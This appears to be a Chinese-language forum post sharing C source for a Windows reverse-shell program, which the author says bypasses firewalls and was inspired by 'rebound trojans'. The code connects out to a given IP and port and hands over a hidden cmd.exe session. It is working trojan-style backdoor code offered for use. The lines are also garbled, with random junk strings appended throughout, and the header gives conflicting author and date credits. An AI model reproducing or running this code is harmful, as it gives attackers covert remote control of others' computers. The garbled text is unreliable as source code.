Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 ~9>H(c  
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/* ============================== HqGI.  
Rebound port in Windows NT D8A+`W?  
By wind,2006/7 m&)/>'W  
===============================*/ U/>I! 7oe  
#include  2&6D`{"P  
#include
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#pragma comment(lib,"wsock32.lib") >a;a8EA<O  
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void OutputShell(); ,!= sGUQ)  
SOCKET sClient; %bcf%7  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ZCCCuB  
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void main(int argc,char **argv) E|=x+M1sH  
{ ]TvMT
  
WSADATA stWsaData; ~Wrp
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int nRet; 01(U)F\  
SOCKADDR_IN stSaiClient,stSaiServer; ,Yag! i>;  
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if(argc != 3) 175e:\Tw  
{ "&_+!TBg,  
printf("Useage:\n\rRebound DestIP DestPort\n"); I:dUHN+@L5  
return; P|NGAd  
} L15)+^4n  
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WSAStartup(MAKEWORD(2,2),&stWsaData); ~/^fdGr  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )U/Kz1U  

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stSaiClient.sin_family = AF_INET; :7{GOx  
stSaiClient.sin_port = htons(0); Csyh 'v  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 0>[]Da}  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) `;mgJD  
{ 4KH'S'eR  
printf("Bind Socket Failed!\n"); lhM5a \  
return; rBJ`=oz  
} E8C8kH]  
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stSaiServer.sin_family = AF_INET; gY+d[3N  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); D)MFii1J~  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Az8b_:=  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @de  ZZ  
{ ,wf_o%'eW  
printf("Connect Error!"); Mn5(Kw?o2J  
return; Ew4D';&;  
} Qfp4}a=  
OutputShell(); 7!qeIz  
} =nHkFi@D=t  
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void OutputShell() q AVypP?J  
{ &%v*%{|
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char szBuff[1024]; !UT!PX)  
SECURITY_ATTRIBUTES stSecurityAttributes; P|1 D6  
OSVERSIONINFO stOsversionInfo; <e&v[  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; )4o8SF7lz  
STARTUPINFO stStartupInfo; [#wt3<d`)  
char *szShell; '`tFZfT  
PROCESS_INFORMATION stProcessInformation; ^G qO>1U  
unsigned long lBytesRead; o>*`wv  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); J3+qnT8X  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); wo62R&ac  
stSecurityAttributes.lpSecurityDescriptor = 0; ZYY`f/qi  
stSecurityAttributes.bInheritHandle = TRUE; ;=0-B&+v  
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7E*0;sA#  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); f7zB_hVDmE  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); n[BYBg1yG  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); [6\O <-?  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GQ85ykky  
stStartupInfo.wShowWindow = SW_HIDE; Y8}y
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stStartupInfo.hStdInput = hReadPipe; p Dg!Cs  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; a^G>|+8  
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GetVersionEx(&stOsversionInfo); 0(C[][a*u  
vWW Q/^  
switch(stOsversionInfo.dwPlatformId) uR=*q a  
{ cEXd#TlY~X  
case 1: o8g]ho  
szShell = "command.com"; .$f0!` t  
break; 0LGHSDb  
default: lib^JJF  
szShell = "cmd.exe"; 7u1o>a%9  
break; Mu.tq~b >  
} ?mi}S${g  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); lq1223  
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send(sClient,szMsg,77,0); .K_50%s  
while(1) +pv..\  
{ `^g-2~  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); %}  
if(lBytesRead) t|&hXh{  
{ G]-\$>5R  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); '*U_!RmQ  
send(sClient,szBuff,lBytesRead,0); EAs^i+/  
} }PMlG  
else <0/)v J- 9  
{ 5:~ zlg  
lBytesRead=recv(sClient,szBuff,1024,0); Kk% IN9  
if(lBytesRead<=0) break; ASS<XNP  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ip|l3m$Mi  
} vN6)Szim  
} Ch=jt*0  
[MAvU?;  
return; }Zp[f6^Q  
}